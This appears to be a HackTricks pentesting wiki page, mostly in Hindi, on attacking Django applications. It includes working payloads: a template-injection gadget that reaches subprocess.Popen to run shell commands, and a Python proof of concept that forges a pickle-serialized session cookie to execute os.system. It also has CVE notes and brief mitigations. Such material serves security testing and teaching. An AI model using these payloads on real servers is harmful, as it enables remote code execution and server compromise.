# Django

{{#include ../../banners/hacktricks-training.md}}

## Cache Manipulation to RCE
Django का डिफ़ॉल्ट कैश स्टोरेज तरीका [Python pickles](https://docs.python.org/3/library/pickle.html) है, जो [अविश्वसनीय इनपुट के अनपिकल होने](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) पर RCE की ओर ले जा सकता है। **यदि एक हमलावर कैश में लिखने की पहुंच प्राप्त कर लेता है, तो वह इस कमजोरियों को अंतर्निहित सर्वर पर RCE में बढ़ा सकता है**।

Django कैश चार स्थानों में से एक में संग्रहीत होता है: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), या [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)। Redis सर्वर या डेटाबेस में संग्रहीत कैश सबसे संभावित हमले के वेक्टर हैं (Redis इंजेक्शन और SQL इंजेक्शन), लेकिन एक हमलावर फ़ाइल-आधारित कैश का उपयोग करके मनमाने लिखने को RCE में बदलने में भी सक्षम हो सकता है। रखरखाव करने वालों ने इसे एक गैर-मुद्दा के रूप में चिह्नित किया है। यह ध्यान रखना महत्वपूर्ण है कि कैश फ़ाइल फ़ोल्डर, SQL तालिका का नाम, और Redis सर्वर का विवरण कार्यान्वयन के आधार पर भिन्न होगा।

यह HackerOne रिपोर्ट SQLite डेटाबेस में संग्रहीत Django कैश का शोषण करने का एक शानदार, पुनरुत्पादनीय उदाहरण प्रदान करती है: https://hackerone.com/reports/1415436

---

## Server-Side Template Injection (SSTI)
Django Template Language (DTL) **Turing-complete** है। यदि उपयोगकर्ता द्वारा प्रदान किया गया डेटा *टेम्पलेट स्ट्रिंग* के रूप में प्रस्तुत किया जाता है (उदाहरण के लिए `Template(user_input).render()` को कॉल करके या जब `|safe`/`format_html()` ऑटो-एस्केपिंग को हटा देता है), तो एक हमलावर पूर्ण SSTI → RCE प्राप्त कर सकता है।

### Detection
1. `Template()` / `Engine.from_string()` / `render_to_string()` के लिए डायनामिक कॉल की तलाश करें जो *किसी भी* असंक्रमित अनुरोध डेटा को शामिल करते हैं।
2. एक समय-आधारित या अंकगणितीय पेलोड भेजें:
```django
{{7*7}}
```
यदि प्रस्तुत आउटपुट में `49` है तो इनपुट को टेम्पलेट इंजन द्वारा संकलित किया गया है।

### Primitive to RCE
Django `__import__` तक सीधी पहुंच को अवरुद्ध करता है, लेकिन Python ऑब्जेक्ट ग्राफ़ पहुंच योग्य है:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
`subprocess.Popen` का इंडेक्स खोजें (≈400–500, Python बिल्ड के आधार पर) और मनमाने कमांड्स निष्पादित करें:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.

The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.

---

## Pickle-Backed Session Cookie RCE
यदि सेटिंग `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` सक्षम है (या एक कस्टम सीरियलाइज़र जो पिक्ल को डीसिरियलाइज करता है), तो Django *सत्र कुकी को डिक्रिप्ट और अनपिक्ल* करता है **पहले** किसी भी दृश्य कोड को कॉल करने से। इसलिए, एक मान्य साइनिंग की (डिफ़ॉल्ट रूप से प्रोजेक्ट `SECRET_KEY`) होना तत्काल रिमोट कोड निष्पादन के लिए पर्याप्त है।

### Exploit Requirements
* सर्वर `PickleSerializer` का उपयोग करता है।
* हमलावर `settings.SECRET_KEY` को जानता है / अनुमान लगा सकता है (GitHub, `.env`, त्रुटि पृष्ठों आदि के माध्यम से लीक)।

### Proof-of-Concept
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
संबंधित कुकी भेजें, और पेलोड WSGI कार्यकर्ता की अनुमतियों के साथ चलता है।

**निवारण**: डिफ़ॉल्ट `JSONSerializer` को बनाए रखें, `SECRET_KEY` को घुमाएँ, और `SESSION_COOKIE_HTTPONLY` को कॉन्फ़िगर करें।

---

## हालिया (2023-2025) उच्च-प्रभाव वाले Django CVEs जिनकी जांच पेंटेस्टर्स को करनी चाहिए
* **CVE-2025-48432** – *अनएस्केप्ड `request.path` के माध्यम से लॉग इंजेक्शन* (4 जून 2025 को ठीक किया गया)। हमलावरों को लॉग फ़ाइलों में नई पंक्तियाँ/ANSI कोड स्मगल करने और डाउनस्ट्रीम लॉग विश्लेषण को विषाक्त करने की अनुमति देता है। पैच स्तर ≥ 4.2.22 / 5.1.10 / 5.2.2।
* **CVE-2024-42005** – *`JSONField` पर `QuerySet.values()/values_list()` में महत्वपूर्ण SQL इंजेक्शन* (CVSS 9.8)। JSON कुंजी बनाएं ताकि उद्धरण से बाहर निकल सकें और मनमाना SQL निष्पादित कर सकें। 4.2.15 / 5.0.8 में ठीक किया गया।

हमेशा `X-Frame-Options` त्रुटि पृष्ठ या `/static/admin/css/base.css` हैश के माध्यम से सटीक ढांचे के संस्करण की पहचान करें और उपरोक्त का परीक्षण करें जहाँ लागू हो।

---

## संदर्भ
* Django सुरक्षा रिलीज़ – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432 को संबोधित करते हैं" – 4 जून 2025।
* OP-Innovate: "Django SQL इंजेक्शन दोष CVE-2024-42005 को संबोधित करने के लिए सुरक्षा अपडेट जारी करता है" – 11 अगस्त 2024।

{{#include ../../banners/hacktricks-training.md}}